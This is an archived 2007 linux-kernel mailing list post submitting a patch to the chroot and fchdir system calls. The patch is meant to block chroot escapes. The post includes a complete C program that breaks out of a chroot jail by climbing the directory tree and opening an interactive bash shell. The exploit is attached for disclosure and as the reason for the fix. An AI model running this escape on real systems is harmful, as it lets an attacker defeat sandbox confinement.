public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* sys_chroot+sys_fchdir Fix
@ 2007-09-19  7:19 majkls
  2007-09-19  9:40 ` Alan Cox
  0 siblings, 1 reply; 50+ messages in thread
From: majkls @ 2007-09-19  7:19 UTC (permalink / raw)
  To: bunk; +Cc: linux-kernel

[-- Attachment #1: Type: text/plain, Size: 299 bytes --]

Hello,
here is an fix to an exploit (obtained somewhere in internet). This 
exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible 
(with sufficient filedescriptor (if there is na directory fd opened in 
root) workaround chroot with sys_fchdir. This patch fixes it.

Miloslav Semler

[-- Attachment #2: sys_chroot+sys_fchdir.patch --]
[-- Type: text/x-diff, Size: 3265 bytes --]

diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c	2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
  	}
  	follow_mount(&nd->mnt, &nd->dentry);
  }
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ 		struct vfsmount *rootmnt, struct dentry *root)
+ {
+ 	struct nameidata oldentry, newentry;
+ 	long ret = 1;
+ 	
+         read_lock(&current->fs->lock);
+ 	oldentry.dentry = dget(wdentry);
+ 	oldentry.mnt = mntget(wdmnt);
+         read_unlock(&current->fs->lock);
+ 	newentry.dentry = oldentry.dentry;
+ 	newentry.mnt = oldentry.mnt;
+ 	
+ 	follow_dotdot(&newentry);
+ 	/* check it */
+ 	if(newentry.dentry == root && 
+ 		newentry.mnt == rootmnt){
+ 		ret = 0;
+ 		goto out;
+ 	}
+ 	
+ 	while(oldentry.mnt != newentry.mnt ||
+ 		oldentry.dentry != newentry.dentry){
+ 		
+ 		memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ 		follow_dotdot(&newentry);
+ 		
+ 		/* check it */
+ 		if(newentry.dentry == root && 
+ 			newentry.mnt == rootmnt){
+ 			ret = 0;
+ 			goto out;
+ 		}
+ 	}
+ out:
+ 	dput(newentry.dentry);
+ 	mntput(newentry.mnt);
+ 	return ret;
+ }
  
  /*
   *  It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c	2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c	2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
  out:
  	return error;
  }
+ long directory_is_out(struct vfsmount *, struct dentry*, 
+ 		struct vfsmount *, struct dentry *);
  
  asmlinkage long sys_fchdir(unsigned int fd)
  {
*************** asmlinkage long sys_fchdir(unsigned int 
*** 581,586 ****
--- 583,591 ----
  	error = -ENOTDIR;
  	if (!S_ISDIR(inode->i_mode))
  		goto out_putf;
+ 	if (directory_is_out(mnt, dentry, current->fs->rootmnt, 
+ 				current->fs->root))
+ 		goto out_putf;
  
  	error = file_permission(file, MAY_EXEC);
  	if (!error)
*************** out:
*** 594,600 ****
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
--- 599,605 ----
  asmlinkage long sys_chroot(const char __user * filename)
  {
  	struct nameidata nd;
! 	int error, set_wd = 0;
  
  	error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
  	if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
  	error = -EPERM;
  	if (!capable(CAP_SYS_CHROOT))
  		goto dput_and_out;
+ 	error = -ENOTDIR;
+ 	/*
+ 	if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ 				current->fs->root))
+ 		goto dput_and_out;
+ 		*/
+ 	set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd, 
+ 				nd.mnt, nd.dentry);
  
  	set_fs_root(current->fs, nd.mnt, nd.dentry);
  	set_fs_altroot();
+ 	/* if wd is out, reset it to . */
+ 	if(set_wd)
+ 		set_fs_pwd(current->fs, nd.mnt, nd.dentry);
  	error = 0;
  dput_and_out:
  	path_release(&nd);

[-- Attachment #3: chroot.c --]
[-- Type: text/x-csrc, Size: 4107 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
  	    
  	 /*  
  	 ** You should set NEED_FCHDIR to 1 if the chroot() on your  
  	 ** system changes the working directory of the calling  
  	 ** process to the same directory as the process was chroot()ed  
  	 ** to.  
  	 **  
  	 ** It is known that you do not need to set this value if you  
  	 ** running on Solaris 2.7 and below.  
  	 **  
  	 */  
  	 /*#define NEED_FCHDIR 0*/
  	    
  	 #define TEMP_DIR "waterbuffalo"  
  	    
  	 /* Break out of a chroot() environment in C */  
  	    
  	 int main() {  
  	   int x;            /* Used to move up a directory tree */  
  	   int done=0;       /* Are we done yet ? */  
  	 #ifdef NEED_FCHDIR  
  	   int dir_fd;       /* File descriptor to directory */  
  	 #endif  
  	   struct stat sbuf; /* The stat() buffer */  
  	   puts("chroot()");
	   chroot(".");  
  	  /* chdir("/");
	  setuid(65534); */
  	 /*  
  	 ** First we create the temporary directory if it doesn't exist  
  	 */  
  	 
	   if (stat(TEMP_DIR,&sbuf)<0) {  
  	     if (errno==ENOENT) {  
  	       if (mkdir(TEMP_DIR,0755)<0) {  
  	         fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
  	                 strerror(errno));  
  	         exit(1);  
  	       }  
  	     } else {  
  	       fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
  	               strerror(errno));  
  	       exit(1);  
  	     }  
  	   } else if (!S_ISDIR(sbuf.st_mode)) {  
  	     fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
  	     exit(1);  
  	   }  
  	  
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Now we open the current working directory  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if ((dir_fd=open(".",O_RDONLY))<0) {  
  	     fprintf(stderr,"Failed to open \".\" for reading - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	 #endif  
  	    
  	 /*  
  	 ** Next we chroot() to the temporary directory  
  	 */  
  	   if (chroot(TEMP_DIR)<0) {  
  	     fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	    
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Partially break out of the chroot by doing an fchdir()  
  	 **  
  	 ** This only partially breaks out of the chroot() since whilst  
  	 ** our current working directory is outside of the chroot() jail,  
  	 ** our root directory is still within it. Thus anything which refers  
  	 ** to "/" will refer to files under the chroot() point.  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if (fchdir(dir_fd)<0) {  
  	     fprintf(stderr,"Failed to fchdir - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	   close(dir_fd);  
  	 #endif  
  	    
  	 /*  
  	 ** Completely break out of the chroot by recursing up the directory  
  	 ** tree and doing a chroot to the current working directory (which will  
  	 ** be the real "/" at that point). We just do a chdir("..") lots of  
  	 ** times (1024 times for luck :). If we hit the real root directory before  
  	 ** we have finished the loop below it doesn't matter as .. in the root  
  	 ** directory is the same as . in the root.  
  	 **  
  	 ** We do the final break out by doing a chroot(".") which sets the root  
  	 ** directory to the current working directory - at this point the real  
  	 ** root directory.  
  	 */  
  	   for(x=0;x<1024;x++) {  
  	     chdir("..");  
  	   }  
  	   chroot(".");  
  	    
  	 /*  
  	 ** We're finally out - so exec a shell in interactive mode  
  	 */  
  	   if (execl("/bin/bash","-i",NULL)<0) {  
  	     fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
  	     exit(1);  
  	   }  
  	 }  

^ permalink raw reply	[flat|nested] 50+ messages in thread
[parent not found: <952DN-83o-31@gated-at.bofh.it>]
[parent not found: <fa.1U6+49SWHSlhuK5/3PBckFWAbXU@ifi.uio.no>]

end of thread, other threads:[~2007-09-28  1:06 UTC | newest]

Thread overview: 50+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2007-09-19  7:19 sys_chroot+sys_fchdir Fix majkls
2007-09-19  9:40 ` Alan Cox
2007-09-19 18:27   ` Bill Davidsen
2007-09-19 18:45     ` Alan Cox
2007-09-19 22:24       ` David Newall
2007-09-21 17:39         ` Phillip Susi
2007-09-21 18:10           ` Alan Cox
2007-09-25 20:53             ` Phillip Susi
2007-09-26  0:23               ` Al Viro
2007-09-26 10:34                 ` David Newall
2007-09-26 11:21                   ` Alan Cox
2007-09-26 11:22                     ` David Newall
2007-09-26 11:38                       ` Alan Cox
2007-09-26 11:56                         ` David Newall
2007-09-26 14:10                           ` Alan Cox
2007-09-26 15:03                             ` Chris Adams
2007-09-26 16:54                             ` David Newall
2007-09-26 17:04                               ` Alan Cox
2007-09-26 17:18                                 ` David Newall
2007-09-26 17:29                                   ` Alan Cox
2007-09-26 17:28                                     ` David Newall
2007-09-26 18:40                   ` Al Viro
2007-09-26 19:24                   ` Christer Weinigel
2007-09-26 21:19                     ` David Newall
2007-09-26 21:55                       ` Adrian Bunk
2007-09-26 23:35                         ` David Newall
2007-09-27  0:01                           ` Adrian Bunk
2007-09-27  3:59                             ` Al Viro
2007-09-27  6:42                             ` David Newall
2007-09-27  6:53                               ` Adrian Bunk
2007-09-27  7:28                       ` Christer Weinigel
2007-09-27 11:23                         ` Theodore Tso
2007-09-27 14:36                           ` Bill Davidsen
2007-09-28  1:06                             ` David Newall
     [not found] <952DN-83o-31@gated-at.bofh.it>
     [not found] ` <954cl-29C-3@gated-at.bofh.it>
     [not found]   ` <95ctn-74b-15@gated-at.bofh.it>
     [not found]     ` <95cMH-7um-19@gated-at.bofh.it>
     [not found]       ` <95gdA-4OZ-7@gated-at.bofh.it>
2007-09-20 11:13         ` Bodo Eggert
2007-09-20 11:59           ` Philipp Marek
2007-09-20 12:52             ` majkls
2007-09-20 16:06             ` David Newall
2007-09-20 16:17               ` Philipp Marek
2007-09-20 18:02                 ` David Newall
2007-09-20 20:53                   ` Bill Davidsen
2007-09-21  8:29                     ` David Newall
2007-09-24 21:32                       ` Serge E. Hallyn
2007-09-24 22:04                         ` David Newall
2007-09-24 23:00                           ` Serge E. Hallyn
2007-09-25  7:45                             ` David Newall
2007-09-25 11:49                               ` Serge E. Hallyn
2007-09-25 13:58                                 ` David Newall
2007-09-24 23:02                           ` Serge E. Hallyn
     [not found]         ` <95UE2-1oR-19@gated-at.bofh.it>
     [not found]           ` <95V72-2ly-17@gated-at.bofh.it>
     [not found]             ` <97pG8-3B5-47@gated-at.bofh.it>
     [not found]               ` <97sX2-p1-3@gated-at.bofh.it>
2007-09-26  9:38                 ` Nick Craig-Wood
     [not found] <fa.1U6+49SWHSlhuK5/3PBckFWAbXU@ifi.uio.no>
     [not found] ` <fa.WASh5K8oOF4DAq3sSYtIlWNCdWQ@ifi.uio.no>
     [not found]   ` <fa.X6MeYG+PmN8/e5zfGij80quLaws@ifi.uio.no>
     [not found]     ` <fa./eIdqiAY0Mx9xHl6ESobHaLKJBM@ifi.uio.no>

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox